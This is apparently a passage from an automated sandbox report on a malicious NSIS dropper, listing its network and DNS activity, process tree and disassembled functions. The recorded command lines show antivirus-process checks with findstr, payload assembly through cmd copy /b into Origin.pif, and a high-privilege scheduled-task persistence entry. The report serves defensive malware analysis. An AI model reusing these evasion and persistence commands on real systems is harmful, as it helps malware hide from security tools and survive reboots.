Sep 26, 2024 09:53:20.193845034 CEST	50500	49710	3.36.173.8	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 09:49:34.511281013 CEST	54797	53	192.168.2.8	1.1.1.1
Sep 26, 2024 09:49:34.526400089 CEST	53	54797	1.1.1.1	192.168.2.8
Sep 26, 2024 09:49:48.153945923 CEST	61031	53	192.168.2.8	1.1.1.1
Sep 26, 2024 09:49:48.162707090 CEST	53	61031	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 09:49:34.511281013 CEST	192.168.2.8	1.1.1.1	0x7e8f	Standard query (0)	jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:49:48.153945923 CEST	192.168.2.8	1.1.1.1	0x37a1	Standard query (0)	jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 09:49:34.526400089 CEST	1.1.1.1	192.168.2.8	0x7e8f	Name error (3)	jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD	none	none	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:49:48.162707090 CEST	1.1.1.1	192.168.2.8	0x37a1	Name error (3)	jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	03:49:23
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\5daucomrx8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\5daucomrx8.exe"
Imagebase:	0x400000
File size:	19'159'316 bytes
MD5 hash:	33FF8752083BF6B5105749BF5B772B4A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:49:27
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:49:27
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:49:28
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xfa0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:49:28
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa.exe opssvc.exe"
Imagebase:	0xfa0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:49:29
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xfa0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:49:29
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
Imagebase:	0xfa0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:49:29
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 369580
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:49:29
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "MaskBathroomsCompoundInjection" Participants
Imagebase:	0xfa0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:49:30
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b Massachusetts + Radius + Dental + Vendor + Fighting + June + Stockings + Convenience + Falls + Joke + Mask + Severe + Outreach + Sig + Bdsm 369580\Z
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:49:30
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
Wow64 process (32bit):	true
Commandline:	369580\Origin.pif 369580\Z
Imagebase:	0xaa0000
File size:	937'776 bytes
MD5 hash:	B06E67F9767E5023892D9698703AD098
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:49:30
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 15
Imagebase:	0xea0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:49:31
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST
Imagebase:	0x9e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:49:31
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:49:33
Start date:	26/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js"
Imagebase:	0x7ff6057c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:49:33
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif" "C:\Users\user\AppData\Local\LinkGuard Dynamics\r"
Imagebase:	0x2f0000
File size:	937'776 bytes
MD5 hash:	B06E67F9767E5023892D9698703AD098
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	03:53:02
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
Imagebase:	0xaa0000
File size:	937'776 bytes
MD5 hash:	B06E67F9767E5023892D9698703AD098
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.6%
Total number of Nodes:	1523
Total number of Limit Nodes:	37

Executed Functions

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

NSIS Error, xrefs: 004038E2
\Temp, xrefs: 00403A1B
Error launching installer, xrefs: 00403A7D
~nsu.tmp, xrefs: 00403AF7
/D=, xrefs: 004039A6
_?=, xrefs: 00403A64
NCRC, xrefs: 0040397C
1C, xrefs: 00403B56
SeShutdownPrivilege, xrefs: 00403C16

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNEL32(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename failed: %s, xrefs: 0040194B
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Rename on reboot: %s, xrefs: 00401943
Rename: %s, xrefs: 004018F8
Call: %d, xrefs: 0040165A
BringToFront, xrefs: 004016BD
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
SetFileAttributes failed., xrefs: 004017A1
Aborting: "%s", xrefs: 0040161D
Sleep(%d), xrefs: 0040169D
CreateDirectory: "%s" created, xrefs: 00401849
CreateDirectory: "%s" (%d), xrefs: 004017BF
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Jump: %d, xrefs: 00401602
detailprint: %s, xrefs: 00401679

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: 2a82ad59b9370b3cc3d5141fac41001cfacad1d5dd7d37275e8bf63d0114621f
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: 2a82ad59b9370b3cc3d5141fac41001cfacad1d5dd7d37275e8bf63d0114621f
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNEL32(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

RichEd20, xrefs: 00405B9D
_Nb, xrefs: 00405AD1
@rD, xrefs: 00405965
RichEd32, xrefs: 00405BA8
.exe, xrefs: 00405A3D
RichEdit20A, xrefs: 00405BB6, 00405BBB
.DEFAULT\Control Panel\International, xrefs: 00405999
B%F, xrefs: 00405A1F
RichEdit, xrefs: 00405BC4
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
@%F, xrefs: 004059F6

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

open, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user abort, xrefs: 00401B53
File: error creating "%s", xrefs: 00401AF0
File: error, user cancel, xrefs: 00401B93
File: error, user retry, xrefs: 00401B40
File: wrote %d to "%s", xrefs: 00401BD0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39

Memory Dump Source

